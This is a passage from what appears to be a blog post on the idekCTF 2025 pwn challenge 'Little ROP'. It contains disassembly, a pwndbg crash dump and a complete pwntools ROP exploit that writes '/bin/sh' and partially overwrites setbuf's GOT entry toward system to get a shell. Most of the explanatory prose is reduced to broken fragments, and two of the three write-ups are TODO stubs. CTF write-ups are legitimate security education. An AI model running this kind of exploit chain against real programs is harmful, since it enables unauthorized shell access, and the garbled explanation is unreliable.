┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: idekCTF 2025
~ CuB3y0nd
# Little ROP

## Information

- Category: Pwn
- Points: 362

## Description

> No PIE, no canary. Perfect setup for ROP. Show me what you can do!

## Write-up 1

840+  27 ……
……

 Write-ups 1, 2, 3 


 1 `setbuf`  got  one_gadget 
 one_gadget……

 setbuf
 `stdin`, `stdout`, `stderr`  bss  rdi 


```c
void __fastcall setup(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
}
```

 rdi  gadget `/bin/sh`  
rdi gadget  rdi 

```asm
; Attributes: bp-based frame

; void __fastcall setup(int argc, const char **argv, const char **envp)
public setup
setup proc near
; __unwind {
endbr64
push    rbp
mov     rbp, rsp
mov     rax, cs:stdin@GLIBC_2_2_5
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setbuf
mov     rax, cs:stdout@GLIBC_2_2_5
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setbuf
mov     rax, cs:stderr@GLIBC_2_2_5
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setbuf
nop
pop     rbp
retn
; } // starts at 401156
setup endp
```

 partial overwrite setbuf  `system`  $1/16$ 
 system 

 `do_system` 
 RSP 访 ab
ort 

```asm showLineNumbers=false
Program received signal SIGSEGV, Segmentation fault.
0x00007fee1bf5b93e in do_system (line=0x404010 "") at ../sysdeps/posix/system.c:
102
102 in ../sysdeps/posix/system.c
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-fl
ags off / show-compact-regs off ]───────────────────────────────────────────────
────────────
 RAX  0xcdd2ecfdc1a6800
 RBX  0x404010 (_GLOBAL_OFFSET_TABLE_+16) <- 0
 RCX  0x7fee1c01f7e2 (read+18) <- cmp rax, -0x1000 /* 'H=' */
 RDX  1
 RDI  0x404010 (_GLOBAL_OFFSET_TABLE_+16) <- 0
 RSI  0
 R8   0x7fee1c126f10 (initial+16) <- 4
 R9   0x7fee1c147040 (_dl_fini) <- endbr64
 R10  0x7fee1bf115e8 <- 0xf001200001a64
 R11  0x246
 R12  0x7fff1d8a7218 -> 0x7fff1d8a7edb <- '/home/user/chall'
 R13  0x7fee1c1277a0 (quit) <- 0
 R14  0x7fee1c127840 (intr) <- 0
 R15  0x7fee1c17b040 (_rtld_global) -> 0x7fee1c17c2e0 <- 0
 RBP  0
 RSP  0x403c80 <- 0
 RIP  0x7fee1bf5b93e (do_system+62) <- mov qword ptr [rsp + 0x378], rax
────────────────────────────────────────────────────────────────────[ DISASM / x
86-64 / set emulate on ]────────────────────────────────────────────────────────
────────────
   0x7fee1bf5b926 <do_system+38>     punpcklqdq xmm1, xmm2
   0x7fee1bf5b92a <do_system+42>     push   rbx
   0x7fee1bf5b92b <do_system+43>     mov    rbx, rdi
   0x7fee1bf5b92e <do_system+46>     sub    rsp, 0x388
   0x7fee1bf5b935 <do_system+53>     mov    rax, qword ptr fs:[0x28]            
   RAX, [0x7fee1bf08768]
 -> 0x7fee1bf5b93e <do_system+62>     mov    qword ptr [rsp + 0x378], rax       
    [0x403ff8] <= 0xcdd2ecfdc1a6800
   0x7fee1bf5b946 <do_system+70>     xor    eax, eax                            
   EAX => 0
   0x7fee1bf5b948 <do_system+72>     mov    dword ptr [rsp + 0x18], 0xffffffff  
   [0x403c98] <= 0xffffffff
   0x7fee1bf5b950 <do_system+80>     mov    qword ptr [rsp + 0x180], 1          
   [0x403e00] <= 1
   0x7fee1bf5b95c <do_system+92>     mov    dword ptr [rsp + 0x208], 0          
   [_DYNAMIC+104] <= 0
   0x7fee1bf5b967 <do_system+103>    mov    qword ptr [rsp + 0x188], 0          
   [0x403e08] <= 0
────────────────────────────────────────────────────────────────────────────────
─[ STACK ]──────────────────────────────────────────────────────────────────────
────────────
00:0000│ rsp 0x403c80 <- 0
... ↓        7 skipped
───────────────────────────────────────────────────────────────────────────────[
 BACKTRACE ]────────────────────────────────────────────────────────────────────
────────────
 -> 0   0x7fee1bf5b93e do_system+62
   1         0x401186 setup+48
────────────────────────────────────────────────────────────────────────────────
────────────────────────────────────────────────────────────────────────────────
────────────
pwndbg> vmmap 0x403c80+0x378
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File (set vmmap-prefe
r-relpaths on)
          0x402000           0x403000 r--p     1000   4000 chall_patched
->         0x403000           0x404000 r--p     1000   4000 chall_patched +0xff8
          0x404000           0x405000 rw-p     1000   5000 chall_patched
```

 setbuf  read 
 setbuf  rop  setbuf …… skil
l ……

 setbuf  puts  got  li
bc rdi system ……

 docker  chall
…………

## Exploit 1

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)

FILE = "./chall"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = ELF("./libc.so.6")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    read = 0x4011A9
    leave_ret = 0x4011C0
    ret = 0x4011C1
    control_rdi = 0x401186
    store_binsh = 0x404080
    binsh = 0x404068
    system = libc.sym["system"]

    target.success(f"system: {hex(system)}")
    target.success(f"setbuf@got: {hex(elf.got['setbuf'])}")

    payload = flat(
        b"A" * 32,
        store_binsh,  # first_read rbp (store /bin/sh in `store_binsh - 0x20`)
        read,
        binsh,
        b"/bin/shx00",
        b"B" * 0x10,
        store_binsh - 0x30,  # rbp (for more ROP) 0x404040
        read,
        b"C" * 0x10,
        control_rdi,
        b"D" * 0x8,
        elf.got["setbuf"] + 0x20,  # rbp
        read,  # after this, pivot to higher stack...? seems impossible !
        b"x70x0dx05",  # system
    )
    raw_input("DEBUG")
    target.send(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Write-up 2

 `ret2lresolve` TODO

## Exploit 2

TODO

## Write-up 3

使 `add dword ptr [rbp - 0x3d], ebx; nop; ret` gadget
……

## Exploit 3

TODO